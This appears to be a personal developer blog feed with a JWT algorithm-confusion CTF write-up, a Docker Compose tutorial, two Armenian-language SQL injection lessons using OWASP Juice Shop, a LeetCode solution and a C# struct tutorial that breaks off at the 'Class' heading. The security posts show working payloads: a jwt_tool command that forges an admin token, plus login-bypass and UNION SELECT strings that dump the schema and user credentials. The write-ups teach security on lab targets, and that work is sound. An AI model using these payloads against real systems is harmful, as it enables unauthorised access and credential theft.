Forem: Narek Babajanyan

SecurityBoat June CTF solution

Narek Babajanyan — Sun, 09 Jul 2023 10:16:51 +0000

SecurityBoat posted the following CTF challenge on their Twitter account.
// Detect dark theme var iframe = document.getElementById('tweet-1677535489014759425-24'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1677535489014759425&theme=dark" }
The challenge was to get to the admin dashboard and retrieve the flag. Initial credentials were provided on the login screen.

Upon logging in, we see two cookies being returned from the server: auth and pubkey.

The auth cookie is clearly a JWT token, so we can use a tool like jwt.io to inspect its contents.

Notably, the token uses RS256 (asymmetric) encryption and specifies a role field within its payload.

Upon logging in, we are redirected to http://ctf.securityboat.in:4000/jwt/user/home.php.

With all that said, our likely attack methodology is the following:

Replace the user value with admin within the role field of the token,
Find a way to sign the token
Using the token, navigate to http://ctf.securityboat.in:4000/jwt/admin/home.php

Since we know the public key used in the RS256 encryption, we can attempt an algorithm confusion attack. This type of attack takes advantage of inexact token handling on the backend, by replacing the alg field in the token header with HS256 and using the exposed public key as an HMAC key. We can use jwt.io for modifying the necessary fields (role and alg) and sign the token with JWT_Tool.

The command to do so looks like the following:

python3 jwt_tool.py INSERT_MODIFIED_TOKEN_HERE -S hs256 -k public_key.pem

..where public_key.pem is the file that contains the RSA public key returned from the server during initial login (make sure to URL-decode the key before saving).

After JWT_Tool returns the tampered token, we can use Chrome to modify the cookies within the current session:

After navigating to http://ctf.securityboat.in:4000/jwt/admin/user.php, we get the flag.

Containerizing a Spring/Angular application with Docker Compose

Narek Babajanyan — Tue, 07 Dec 2021 22:25:48 +0000

After completing the exercises in Academind's Docker & Kubernetes course, I wanted to try my hand at containerizing a Spring-powered web application. Here is the story of how that went down...

Finding a sample project

The Spring PetClinic project is a well known sample in the Spring community, and there are multiple forks built with different technologies. Since I wanted to build a multi-container solution with Docker Compose, I needed to find one with easily separable backend and frontend pieces.

Fortunately, the forks list contained options that covered this case exactly.

I noticed the frontend repository already contains its own Dockerfile - I'll only have to build one for the backend and include both in a Docker Compose yaml file, along a separate container for the database.

Containerizing the Spring Boot backend

My first step was to analyze the project and understand my options for data persistence - turns out it's quite flexible and includes a plethora of combinations - JDBC, JPA and Spring Data JPA as persistence layers, and H2, MySQL and PostgreSQL as underlying databases. Choosing an exact option is done through the application.properties file and its sub-profiles. My choice was PostgreSQL with Spring data JPA.

I wanted to use a best practice called multi-stage builds, which means that intermediary Docker images are used as build tools/environments, the final artifact is copied into the running container and everything else is discarded. In our case, the Maven base image fit perfectly as a build environment, from which the resulting jar could be copied into the final image (build upon the OpenJDK base image) and started from there.

The steps for our first stage are:

Use a Maven base image
Copy application source code into the image
Run the mvn package command

Since the backend uses Spring Boot 2.4.2 as a parent project, and supports JDK 8, I specified the OpenJDK 8 base image.



FROM maven:3.8.4-openjdk-8 AS buildstage

WORKDIR /app

COPY . .

RUN mvn package

Running mvn package generates a jar archive in the /target directory under the name spring-petclinic-rest-2.4.2.jar.

When performing a multi-stage build, Docker enables us to copy files from the previous stage and discard the rest - in this case, we only need the packaged jar without the source code and dependencies.



FROM openjdk:8 AS runstage

COPY --from=buildstage /app/target/spring-petclinic-rest-2.4.2.jar .

To make our job easier down the line, we can find the port used by our backend and use the EXPOSE command to include it in the Dockerfile. In our case the port is 9966.



EXPOSE 9966

I have seen recommendations to create a separate non-privileged user to run applications. We can do so with the adduser shell command.



RUN adduser --system --group spring

USER spring

ENTRYPOINT ["java", "-jar", "spring-petclinic-rest-2.4.2.jar"]

Putting all of these together, our final Dockerfile for the backend looks like the following:



FROM maven:3.8.4-openjdk-8 AS buildstage

WORKDIR /app

COPY . .

RUN mvn package

FROM openjdk:8 AS runstage

COPY --from=buildstage /app/target/spring-petclinic-rest-2.4.2.jar .

EXPOSE 9966

RUN adduser --system --group spring

USER spring

ENTRYPOINT ["java", "-jar", "spring-petclinic-rest-2.4.2.jar"]

There are additional modifications that need to be performed in our source code. Namely, the database host is hardcoded as localhost. We need to change the host so it gets resolved to our container. For containers in the same network (and with Docker Compose, they are in the same network by default), containers can resolve each others' IP addresses through the service name specified in the docker-compose.yaml file. I have chosen psqldb as the name for the database service.

Additionally, instead of hardcoded credentials, I have preferred to use environment variables, which can be easily supplied during image building. There's a caveat here, though - supplying these values directly can pose a security risk since they are permanently baked into your image history. We can use .env files instead.

Containerizing the database

I will not be creating a custom image for the database. It is sufficient to use the official PostgreSQL image and supply necessary environment variables for the default database and credentials. I will be specifying the default DB name ("petclinic", as retrieved from backend source code) and credentials (through an .env file).

Additionally, we need to enable Docker to persist database entries outside of the container filesystem. This can be done through a named volume. The default directory where PostgreSQL saves its data is /var/lib/postgresql/data.

This information must be codified in our docker-compose.yaml file. The database service part will, then, look like the following



psqldb:
  image: postgres
  environment:
    - POSTGRES_DB=petclinic
  env_file:
    - ./env/postgres.env
  volumes:
    - dbdata:/var/lib/postgresql/data

Containerizing the frontend

Since the authors of the Angular frontend already supplied a Dockerfile, I will use that instead of building my own.

The image for the frontend also uses the multi-stage build principle - firstly a node base image is used to build the project. The underlying ng build command creates a directory called dist which contains the compiled app.

Secondly, an nginx base image is used, and the dist folder is copied into the default public directory - /usr/share/nginx/html.

Assembling the `docker-compose.yaml` configuration

As I previously mentioned, we have a named volume for the database, and it needs to be explicitly declared in the configuration.



volumes:
  dbdata:

Next, we start listing the services. In our case, we have the following
1) psqldb

uses the postgres base image
has an environment variable POSTGRES_DB with the value petclinic
includes an .env file from which it receives DB credentials
mounts the dbdata named volume on the default data directory for PostgreSQL

2) backend

needs to be built from our previously written Dockerfile
also includes the aforementioned .env file for credentials
exposes port 9966
depends on the psqldb service being up

3) frontend

needs to be built from its Dockerfile
exposes port 8080
depends on the backend service being up

Translating all of these requirements into yaml, we get the following:



version: "3"

volumes:
  dbdata:

services:
  psqldb:
    image: postgres
    environment:
      - POSTGRES_DB=petclinic              
    env_file:
      - ./env/postgres.env                  
    volumes:
      - dbdata:/var/lib/postgresql/data
  backend:
    build:
      context: ./spring-petclinic-rest
    env_file: ./env/postgres.env            
    ports:
      - "9966:9966"
    depends_on:
      - psqldb
  frontend:
    build: 
      context: ./spring-petclinic-angular
    ports:
      - "8080:8080"
    depends_on:
      - backend

And that's it. Using the docker-compose up command, we build and run our three services. Inspecting the running container for the frontend, we get its IP address and can access our PetClinic web application through port 8080.

Ծրագրային անվտանգություն՝ SQL Injection (մաս 2)

Narek Babajanyan — Sun, 23 May 2021 19:31:00 +0000

Նախորդ գրառման մեջ տեսանք SQL Injection խոցելիության ընդհանուր բնութագիրը։ Այժմ փորձենք OWASP Juice Shop խոցելի վեբ֊ծրագրում փնտրել տվյալ տեսակի խոցելիություններ։

Ծրագիրը արխիվի տեսքով կարելի է ներբեռնել նախագծի GitHub էջից, այնուհետև npm start հրամանի միջոցով գործարկել այն (նախապես npm install հրամանով տեղադրելով ծրագրի պահանջված գրադարանները)։ Գործարկվելիս, Juice Shop֊ը հասանելի է դառնում localhost:3000 հասցեով։

1) Log in with the administrator's user account.

Առաջին հերթին կարելի է ուշադրություն դարձնել Account հղմամբ գտնվող մուտք գործման (login) հատվածին և այստեղ փորձել SQL injection֊ի պարզագույն տարբերակ՝

email: ' OR 1=1 --
password: test

Ստանում ենք հաջողված մուտք ադմինիստրատորի օգտահաշվով, այսինքն տվյալ ծրագրի login էջի email դաշտը ենթակա է SQL injection հարձակման։

Փորձենք հասկանալ ինչու է առաջանում տվյալ խոցելիությունը։ Juice Shop ծրագրի Score board էջում ներկայացված են բոլոր խոցելիությունները, և ամփոված է Ձեր կողմից հայտնաբերված խոցելիությունների քանակը և տեսակները։ Որոշ խոցելիությունների պարագայում, ծրագիրն առաջարկում է կարդալ կոդի այն հատվածը, որտեղ այն առաջանում է, նման կերպ այն կանխել սովորեցնելու նպատակով։

Մենք հենց նոր լուծեցինք "Log in with the administrator's user account" խնդիրը։ Համապատասխան տողի վերջին կոճակը ցույց է տալիս խոցելի կոդի հատվածը, այստեղ տեսնում ենք ինչպես է ծրագրում կազմվում SQL հարցումը՝

SELECT * FROM Users WHERE email = '${req.body.email || ''}' AND password = '${security.hash(req.body.password || '')}' AND deletedAt IS NULL

Այստեղ ${req.body.email || ''} և ${security.hash(req.body.password || '')} հանդիսանում են Node.JS պլատֆորմի համար գրված կոդ, որը HTTP հարցումից ստանում է էլ․ փոստը և գաղտնաբառը (գաղտնաբառը նաև անցնում է գաղտնագրման հեշ ֆունկցիայով), որով պետք է մուտք գործել։ Արդյունքում ստացված տվյալներն առանց որևէ ստուգման կամ ֆիլտրման հայտնվում են SQL հարցման մեջ, ինչն էլ հանդիսանում է SQL injection խոցելիության հիմնական պատճառը։

Հետևաբար, երբ email դաշտում մուտագրում ենք ' OR 1=1 -- տողը, ընդհանուր SQL հարցումը ստանում է տվյալ տեսքը՝

SELECT * FROM Users WHERE email = '' OR 1=1 -- ' AND password  '${security.hash(req.body.password || '')}' AND deletedAt IS NULL

Տվյալ հարցումն, ըստ էության, վերցնում է տվյալների բազայում պատահած առաջին օգտահաշիվը, առանց էլ․ փոստի և գաղտնաբառի ստուգման (քանի որ գաղտնաբառի ստուգման հատվածն այլևս մեկնաբանություն է և հետևաբար առհամարվում է)։

2) Exfiltrate the entire DB schema definition via SQL Injection.

Հաջորդ "մարտահրավերը" կայանում է տվյալների բազայի կառուցվածքը SQL Injection֊ի միջոցով բացահայտելու մեջ։

Մինչ այդ, սակայն, ուսումնասիրենք SQL Injection կիրառման հայտնի ձևերից մեկը, որը կոչվում է UNION SELECT հարձակում

UNION SELECT Injection

SQL լեզվում UNION հրամանը վերադարձնում է երկու աղյուսակների միավորումը։ Օգտագործման օրինակին կարելի է ծանոթանալ այստեղ

SQL Injection հարձակումների ենթատեքստում UNION հրամանն օգտագործվում են տվյալների մեկ աղբյուրի միջոցով, մեկ այլ աղյուսակից տվյալներ ստանալու նպատակով։

Այսինքն մեզ առաջին հերթին անհրաժեշտ է այնպիսի դաշտ, որը ենթակա է SQL Injection հարձակման և որի հարցման արդյունքները տեսանելի են մեզ համար։ Juice Shop ծրագրի պարագայում, այդպիսի ամենահավանական դաշտը ապրանքների որոնման դաշտն է։ Օգտագործելով OWASP ZAP պրոքսի գործիքը (հարցումները և պատասխանները մանրամասն ուսումնասիրելու համար), տեսնում ենք, որ որոնման դաշտում որևէ բառ մուտքագրելիս, հարցում է ուղարկվում http://localhost:3000/rest/products/search հասցեին, իսկ մուտքագրված արտահայտությունն ուղարկվում է q պարամետրի տեսքով։

Որոնված արտահայտություն՝ apple
Հարցման հասցե՝ http://localhost:3000/rest/products/search?q=apple

Փորձենք տեղադրել արդեն իսկ քաջ ծանոթ ' OR 1=1 -- արտահայտությունը՝ http://localhost:3000/rest/products/search?q=' OR 1=1 -- հասցեով ուղարկելիս ստանում ենք 500 SequelizeDatabaseError: SQLITE_ERROR: incomplete input տեքստով սխալ։ Թվում է թե օգտակար ոչինչ չստացանք, սակայն ուշադրություն դարձնելով տրված սխալի տեքստին՝ հասկանում ենք, որ գործ ունենք SQLite տեսակի տվյալների բազայի հետ (SQL ընտանիքի այլ տվյալների բազաներից են MySQL֊ը, Oracle֊ը, MSSQL֊ը), տեսնենք թե ինչպես կարող է այս տեղեկատվությունը մեզ օգտակար լինել։

Տվյալների բազաների կառուցվածք

SQL տվյալների բազաներն իրենց մեջ պահում են հատուկ աղյուսակ, որում գրանցվում են տվյալ բազայում տեղ գտած աղյուսակների մասին տվյալներ՝ անվանումները, տեսակները, աղյուսակի ստեղծման համար օգտագործված SQL կոդը և այլն։

Քանի որ արդեն գիտենք, որ Juice Shop ծրագիրն աշխատում է SQLite բազայի հետ, փնտրում ենք մանրամասն տեղեկատվություն այս տեսակի բազաներում կառուցվածքային տվյալների պահման մասին։ Ինչպես երևում է SQLite կայքում զետեղված փաստաթղթից, կառուցվածքային տեղեկատվությունը պահվում է sqlite_schema կոչվող աղյուսակում, որը պարունակում է թվով 5 սյունակ։

Ստացվում է, որ այս խնդիրը լուծելու համար անհրաժեշտ է կատարել UNION SELECT հարցում և միավորել ապրանքների որոնման և sqlite_schema աղյուսակին արված հարցումների արդյունքները։

Հիշեցնեմ, որ UNION SELECT հարցում կատարելիս, միավորվող կողմերի աղյուսակները պետք է ունենան հավասար քանակի և նույն տիպերի սյունակներ։ Ապրանքների որոնման դաշտում հարցում կատարելիս տեսնում ենք, որ վերադարձված տվյալներն ունեն թվով 9 սյունակ։ Այս տարբերությունը կարելի է հարթել, պակաս սյունակներով կողմում դատարկ սյունակներ ավելացնելով (կամ թվերի, կամ null արժեքի տեսքով)։ Փորձենք որոնման q պարամետրի տեսքով ուղարկել հետևյալ արտահայտությունը՝

' AND 1=2 UNION SELECT *, 6, 7, 8, 9 FROM sqlite_schema --

Այստեղ AND 1=2 արտահայտության իմաստը կայանում է նրանում, որ երբեք չբավարարվող պայմանի միջոցով բացառենք ապրանքների աղյուսակից տվյալների ստացումը և կենտրոնանանք բացառապես sqlite_schema աղյուսակի արդյունքների վրա։

Այս հարցումը նույնպես վերադաձնում է սխալ, ասելով որ այն թերի է կազմված։ Բարեբախտաբար, Score Board էջում առաջարկվում է տեսնել տվյալ խնդրի համար պատասխանատու կոդը և դրա միջոցով կարող ենք տեսնել թե ինչ SQL հրամաններ են կատարվում ապրանքների որոնման ժամանակ։ Կոդում զետեղված հրամանն ունի հետևյալ տեսքը՝

SELECT * FROM Products WHERE ((name LIKE '%${criteria}%' OR description LIKE '%${criteria}%') AND deletedAt IS NULL) ORDER BY name, որտեղ criteria փոփոխականը մեր կողմից մուտքագրված արտահայտությունն է (օրինակ՝ apple juice)։

Ուշադրություն դարձնենք (( բացված փակագծերին, քանի որ դրանք էին մեր հարցման սխալի հիմնական պատճառը։ Հաշվի առնելով սա, մի փոքր փոփոխում ենք մեր ուղարկված արտահայտությունը՝
' AND 1=2)) UNION SELECT *, 6, 7, 8, 9 FROM sqlite_schema --

Այս դեպքում հարցման ամբողջական հասցեն կդառնա՝

localhost:3000/rest/products/search?q=' AND 1=2)) UNION SELECT *, 6, 7, 8, 9 FROM sqlite_schema --

Եվ, ինչպես սպասելի էր, հարցումն ուղարկելուց հետո, տվյալ խնդիրը համարվում է լուծված և ստանում ենք տվյալների բազայի կառուցվածքային մանրամասները։

3) Retrieve a list of all user credentials via SQL Injection

Այս խնդիրը մեզանից պահանջում է հայտնաբերել բոլոր օգտատերերի տվյալները (էլ․փոստ, գաղտնաբառ և այլն)։

Նախորդ խնդիրը լուծելիս ստացանք տվյալների բազայի բոլոր աղյուսակների անունները և կազմավորման կոդը։ Ուսումնասիրելով ստացվածը, տեսնում ենք, որ ունենք Users կոչվող աղյուսակ, որը կազմվել է հետյալ SQL հրամանով՝

CREATE TABLE `Users` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `username` VARCHAR(255) DEFAULT '', `email` VARCHAR(255) UNIQUE, `password` VARCHAR(255), `role` VARCHAR(255) DEFAULT 'customer', `deluxeToken` VARCHAR(255) DEFAULT '', `lastLoginIp` VARCHAR(255) DEFAULT '0.0.0.0', `profileImage` VARCHAR(255) DEFAULT '/assets/public/images/uploads/default.svg', `totpSecret` VARCHAR(255) DEFAULT '', `isActive` TINYINT(1) DEFAULT 1, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `deletedAt` DATETIME)

Այս հրամանն ուսումնասիրելով կարելի է տեսնել թե ինչ սյունակներ է պարունակում Users աղյուսակը։ Մեզ հատկապես հետաքրքրում են email և password սյունակները։

Հետևելով նախորդ խնդրի օրինակին, կրկին դիմում ենք UNION SELECT հարձակման օգնությանը, այս անգամ միավորելով ապրանքների որոնման հարցումը Users աղյուսակին կատարված հարցման հետ։

Հիշեցնեմ, որ ապրանքների աղյուսակը պարունակում է թվով 9 սյունակ, իսկ Users֊ից մեզ անհրաժեշտ են ընդամենը երկուսը։ Այդ պատճառով, SELECT հրամանը կազմում ենք հետևյալ կերպ՝
SELECT 1,email,password,4,5,6,7,8,9 FROM Users

Թվական արժեքների միջոցով սյունակների ընդհանուր քանակը հասցնում ենք 9֊ի, իսկ email և password սյունակները տեղադրում ենք այնպես, որ ապրանքների աղյուսակի տվյալ սյունակներն ունենան նույն տիպը (այս դեպքում՝ text տիպը)։ Ուսումնասիրելով ապրանքների որոնման արդյունքները, տեսնում ենք, որ երկրորդ և երրորդ սյունակները պարունակում են տեքստային տվյալներ, հետևաբար կարող են միավորվել email և password սյուների հետ։

Ընդհանուր հարցումը կունենա հետևյալ տեսքը՝
localhost:3000/rest/products/search?q=' AND 1=2)) UNION SELECT 1,email,password,4,5,6,7,8,9 FROM Users --

Խնդիրը լուծված է։

Օգտակար հղումներ

1) CyHub Armenia֊ի և Վահագն Վարդանյանի "Ծրագրային անվտանգության հիմունքներ" հայերեն դասընթացը
2) SQL injection թեման PortSwigger Web Security Academy֊ում
3) SQL injection թեման Kontra Application Security Training կայքում

Ծրագրային անվտանգություն՝ SQL Injection (մաս 1)

Narek Babajanyan — Thu, 20 May 2021 15:28:12 +0000

SQL injection֊ը հանդիսանում է վեբ֊ծրագրերի ամենատարածված խոցելիություններից (vulnerability) մեկը և գտնվում է OWASP հիմնադրամի 10 ամենատարածված խոցելիությունների ցանկի OWASP Top 10 առաջին հորիզոնականում։

Իրականում OWASP Top 10 ցանկի առաջին հորիզոնականում տեղ է գտել ավելի ընդհանրական Injection տեսակը, իսկ SQL injection֊ը դրա տեսակներից մեկն է։

Փորձենք հասկանալ ինչու է առաջանում խոցելիության այս տեսակը, ինչ հնարավորություններ է ընձեռում հարձկավողին և պաշտպանության ինչ միջոցներ կան։

Օրինական ճանապարհով ծրագրային անվտանգություն ուսումնասիրելու համար կարելի է օգտվել հատուկ այդ նպատակով պատրաստված խոցելի ծրագրերից, ինչպիսիք են օրինակ OWASP Juice Shop֊ը և bWAPP֊ը։ Նշվածներից բացի գոյություն ունեն բազմաթիվ այլ խոցելի ծրագրեր, որոնց ցանկին կարելի է ծանոթանալ այստեղ

Խոցելիության էությունը

Դիտարկենք SQL տվյալների բազայի պարզագույն օրինակ։ Ենթադրենք, ունենք տվյալների բազա, որում պահվում են տվյալ ընկերության ապրանքանիշները, որոնց մի մասը դեռևս չի թողարկվել։

SELECT * FROM products;

ID	name	released
1	Laptop	1
2	Smartphone	1
3	Time machine	0
4	Teleporter	0
5	Electric vehicle	1
6	3D printer	1
7	Secret product	0

Ընկերության վեբ կայքում թվարկվում են բոլոր թողարկված ապրանքանիշները։

SELECT * FROM products WHERE released=1;

Բացի այդ, կայքում կարելի է կատարել որոնում թողարկված ապրանքանիշների մեջ։ Ենթադրենք, օգտատիրոջ մուտքագրած ցանկացած բանալի բառով անմիջապես կազմվում է հարցում և ուղարկվում տվյալների բազային։ Այս դեպքում օգտատերը կարող է որոնել phone բանալի բառը՝

SELECT * FROM products 
WHERE name LIKE '%phone%' AND released=1;

ID	name	released
2	Smartphone	1

Իսկ ի՞նչ եթե մուտքագրվի հատուկ պատրաստված այնպիսի "բանալի բառ", որը տվյալների բազայի կողմից դիտարկվի որպես հրաման։

Հենց սրանում էլ կայանում է SQL Injection խոցելիության էությունը։

Ենթադրենք, որոնման դաշտում մուտագրվել հետևյալ տեսքն ունեցող մի արտահայտություն՝ ' OR 1=1; --, ապա տվյալների բազայում կատարվող հարցումը կունենա հետևյալ տեսքը՝

SELECT * FROM products 
WHERE name LIKE '%' OR 1=1; -- %' AND released=1;

Հարցման արդյունքում կվերադարձվեն բոլոր ապրանքանիշները, նույնիսկ դեռևս չթողարկվածները։ Նման արդյունքի պատճառը կայանում է նրանում, որ մուտքագրված արտահայտության առաջին չակերտը փակում է LIKE պնդման չակերտը և ընդհանուր հարցման հրամանի մեջ ավելացնում նոր պնդում՝ OR 1=1 (որը միշտ ճիշտ է), իսկ -- սիմվոլները հարցման AND released=1; հատվածը փոխակերպում են մեկնաբանության (comment), որն առհամարվում է տվյալների բազայի կողմից։

Այսպիսով, SQL injection խոցելիության պարզագույն կիրառմամբ հնարավոր է դառնում չնախատեսված տվյալների ստացումը։ Դժվար չէ պատկերացնել, որ այլ հրամանների մուտքագրման պարագայում հնարավոր կլինի մուտք գործել որպես այլ օգտատեր կամ նույնիսկ ջնջել/փոփոխել տվյալների բազայում պահվող տեղեկատվությունը։

Հաջորդ մասում կդիտարկենք առավել իրատեսական օրինակներ՝ շնորհիվ վերոնշյալ bWAPP և OWASP Juice Shop ծրագրերի։

LeetCode 1365. How Many Numbers Are Smaller Than the Current Number

Narek Babajanyan — Sat, 02 May 2020 18:24:54 +0000

The problem can be found here.
The obvious brute force solution to has a complexity of O(n^2), so we should try to think of something better. I present my solution below.

Solution explanation

After we sort the array, the index of an element shows how many smaller elements there are, except when we encounter duplicate elements. To fix this, we scan the array, and if the current number is seen for the first time (meaning that all elements before it are smaller, and none are equal to it), we add the index to the dictionary, otherwise we skip it, because even though the index is incremented, the previous number is equal to the current one, not smaller.

Afterwards, we simply scan the original array (so that we can output the answers in the correct order), and retrieve the quantities for each of the elements.

Complexity

The Array.Sort() method has an average case complexity of O(n*logn), copying the array and scanning the elements takes up O(n).

Code

public class Solution {
    public int[] SmallerNumbersThanCurrent(int[] nums) {
        Dictionary<int, int> smallerNumbers = new Dictionary<int, int>();  
        int[] numsOriginal = new int[nums.Length];
        int[] ans = new int[nums.Length];

        // Copy original array
        for(int k = 0; k < nums.Length; k++)    
            numsOriginal[k] = nums[k];

        Array.Sort(nums);

        // First element has no smaller numbers anyway
        smallerNumbers.TryAdd(nums[0], 0);

        for(int i = 1; i < nums.Length; i++) 
            if(nums[i - 1] != nums[i])
                smallerNumbers.TryAdd(nums[i], i);

        for(int j = 0; j < numsOriginal.Length; j++)
            if(smallerNumbers.ContainsKey(numsOriginal[j]))
                ans[j] = smallerNumbers[numsOriginal[j]];

        return ans;
    }
}

Սովորում ենք C# | Struct և Class

Narek Babajanyan — Sun, 12 Apr 2020 09:39:38 +0000

Նախորդ գրառումներում արդեն իսկ ծանոթացել ենք .NET բազային գրադարանի կողմից առաջարկվող տիպերից մի քանիսին և ինչպես են դրանք պահվում հիշողության մեջ (հիշեցնեմ, որ ըստ պահպանման ձևի, տիպերը լինում են երկու տեսակի՝ արժեքային և հղումային․ դրանց պահպանման մանարամասների մասին խոսել եմ նախորդ գրառման մեջ)։ Այժմ ժամանակն է տեսնել թե ինչպես կարող ենք ստեղծել մեր սեփական տիպերը, խնդիրների առավել արագ լուծման համար։

Պատկերացնենք, որ ունենք երկրաչափական կետերի հետ աշխատող ծրագիր գրելու հանձնարարություն։ Երկչափ հարթության մեջ կետը կարելի է պահել երկու առանձին փոփոխականների տեսքով, X և Y կորդինատների արժեքների համար։

Այս դեպքում, երկու կետերի հեռավորություն հաշվող մեթոդը կունենա հետևյալ տեսքը՝

public double calculateDistance(double x1, double y1, double x2, double y2)
{
    return Math.sqrt((x2 - x1)*(x2 - x1) + (y2 - y1)*(y2 - y1));
}

Իսկ ի՞նչ եթե կետերը գտնվեին եռաչափ տարածության մեջ, այսինքն ամեն կետի ներկայացման համար պահանջվեր երեք փոփոխական։ Իսկ եթե պահանջվեր գտնել ոչ թե երկու կետի հեռավորություն, այլ անհայտ քանակով կետերից կազմված պատկերի մակերե՞ս։ Այդ դեպքում ստիտպված կլինեինք օգտվել մի քանի զանգվածից (բոլոր կետերի X և Y կորդինատների համար)։
Տվյալ դեպքում արդյունավետ լուծման համար մեզ անհրաժեշտ է ստեղծել նոր տիպ, որն իր մեջ կպարունակի կետի մասին հիմնական տվյալները, ինչպես նաև դրանց հետ աշխատելող մեթոդները։

Struct

C# լեզվում struct-ը տիպերի կատեգորիա է, որը պատկանում է արժեքային տիպերի (value type) տեսակին, այսինքն մենք կարող ենք ստեղծել struct տեսակի սեփական տիպ, որը կլինի արժեքային։

Մեր ստեղծված տիպը կարող է պարունակել ինչպես փոփոխականներ (որոնք կոչվում են դաշտեր՝ fields), այնպես և մեթոդներ։

struct—ի միջոցով տիպ ստեղծելու համար անհրաժեշտ է նախ նշել struct բանալի բառը, այնուհետև մեր նոր տիպի անվանումը, որից հետո ձևավոր փակագծերի ներսում ներառել տիպի պարփակված փոփոխականներն ու մեթոդները։

Փորձենք ստեղծել նոր տիպ, երկրաչափական կետեր մոդելավորելու համար՝

struct Point 
{
    public double x;
    public double y;
}

Այս պարագայում, մեր հեռավորություն չափող մեթոդը կունենա հետևյալ տեսքը՝

public double calculateDistance(Point p1, Point p2)
{
    return Math.sqrt((p2.x - p1.x)*(p2.x - p1.x) + (p2.y - p1.y)*(p2.y - p1.y));
}

Ինչպես տեսնում ենք, այլևս կարիք չունենք օգտվելու առանձին փոփոխականներից․ դրա փոխարեն օգտագործում ենք երկու Point օբյեկտների ներսում պարփակված տվյալները։

Կարող ենք այս մեթոդը նույնպես ներառել Point տիպի մեջ՝

struct Point 
{
    public double x;
    public double y;

    public double calculateDistance(Point other)
    {
        return Math.sqrt((x - other.x)*(x - other.x) + (y - other.y)*(y - other.y));
    }
}

Երբ calculateDistance() մեթոդում նշում ենք x կամ y, օգտագործվում են այն օբյեկտում գտնվող փոփոխականները, որի համար կանչվել էր մեթոդը։ Այսինքն, եթե մեթոդը կանչվի հետևյալ կերպ՝

double d = p1.calculateDistance(p2);

ապա մեթոդի ներսում x և y փոփոխականները կպարունակեն p1 օբյեկտի կորդինատները, իսկ other փոփոխականը՝ p2 օբյեկտը, որից էլ կվերցվեն վերջինիս կորդինատները։

Ուշադրություն դարձրեք միջակետի օպերատորին՝ ., որը կոչվում է member access operator։ Դրա միջոցով հնարավոր է դառնում աշխատել օբյեկտի ներսում պարփակված փոփոխականի հետ կամ կանչել դրա ներսում գտնվող մեթոդ։ Անհրաժեշտ է նշել օբյեկտը պարունակող փոփոխականի անվանումը, դնել միջակետ, որից հետո նշել անհրաժեշտ փոփոխականի կամ մեթոդի անունը՝ օրինակ p1.x, p1.calculateDistance(p2)։

Ինչպես արդեն նշվեց, struct-երի միջոցով կարելի է նախագծել սեփական տիպեր։ Իսկ կոնկրետ ինչպե՞ս են ստեղծվում մեր նոր տիպի փոփոխականներ։

Կոնստրուկտոր

Որևէ տիպի օբյեկտն այլ կերպ անվանում են այդ տիպի նմուշ (instance)։ Մեր դիտարկած օրինակում Point-ը տիպ է, իսկ p1-ն ու p2-ը՝ վերջինիս նմուշներ։ Եթե տիպն ընդունենք որպես հատակագիծ, ապա նմուշը հանդիսանում է ըստ այդ հատակագծի կառուցված մեկ շինություն։ Տիպում նախատեսված փոփոխականները (օրինակ x և y) դեռևս չեն հայտարարվում հիշողության մեջ, փոխարենը դա արվում է ամեն նմուշի համար առանձին՝ վերջինիս ստեղծման պահին։

Նոր նմուշների ստեղծման համար C# լեզվում օգտագործվում են հատուկ մեթոդներ, որոնք կոչվում են կոնստրուկտորներ (constructor)։ Մեթոդը հատուկ է նրանով, որ այն չունի վերադարձվող փոփոխականի տիպ (return type) և պարտադիր ունի նույն անունն ինչ տիպը։

Կոնստրուկտորի միջոցով նոր նմուշ ստեղծելու համար անհրաժեշտ է նշել new բանալի բառը, որից հետ կանչել կոնստրուկտոր մեթոդը՝ տալով անհրաժեշտ պարամետրերը (եթե դրանք նախատեսված են)

Point p = new Point();

// Այժմ p փոփոխականը պարունակում է Point տիպի օբյեկտ, որի տվյալների հետ կարող ենք աշխատել

p.x = 5.0d;
p.y = 0.0d;

p.x++;
// ...

Եթե կոնստրուկտորը չի ընդունում ոչ մի պարամետր, այն կոչվում է գործարանային կոնստրուկտոր (default constructor) և հասանելի է օգտագործման համար, եթե տիպում ոչ մի այլ կոնստրուկտոր հայտարարված չէ։

Վերոնշյալ օրինակում, մենք առաջին հերթին հայտարարում ենք Point տիպի փոփոխական, վերագրում նրան նույն տիպի նորաստեղծ օբյեկտ, այնուհետև արժեքներ տալիս դրա պարփակված փոփոխականներին։

Օբյեկտի ստեղծումը և փոփոխականների արժևորումը հնարավոր է համատեղել՝ կոնստրուկտորում նախատեսելով պարամետրեր։

struct Point 
{
    public double x;
    public double y;

    public Point(double xCoord, double yCoord) 
    {
        x = xCoord;
        y = yCoord;
    }
}

Այս նոր կոնստրուկտորը կիրառելիս, ծրագրավորողի կողմից տրված xCoord և yCoord պարամետրերի արժեքները վերագրվում են համապատասխանաբար x և y փոփոխականներին։
Հիշեցնեմ, որ Point(double xCoord, double yCoord) կոնստրուկտորը ներառելիս, մենք զրկվում ենք ավտոմատ ներառվող գործարանային կոնստրուկտորից։ Struct-երում գործարանային կոնստրուկտորի ավելացումը ձեռքով արգելվում է։

Նշում՝ struct տիպի օբյեկտ կարելի է ստեղծել նաև առանց կոնստրուկտորի օգտագործման։ Քանի որ տվյալ տիպն արժեքային է, դրա ցանկացած փոփոխական արդեն իսկ պարունակում է նորաստեղծ օբյեկտ։ Այսինքն, հնարավոր է նոր օբյեկտ ստեղծել և դրա հետ աշխատել հետևյալ կերպ՝

// Հայտարարում ենք փոփոխական առանց արժևորման,
// և այն արդեն իսկ պարունակում է Point տիպի նոր օբյեկտ
Point p; 
p.x = 13.0;
p.y = -1.5;

Class

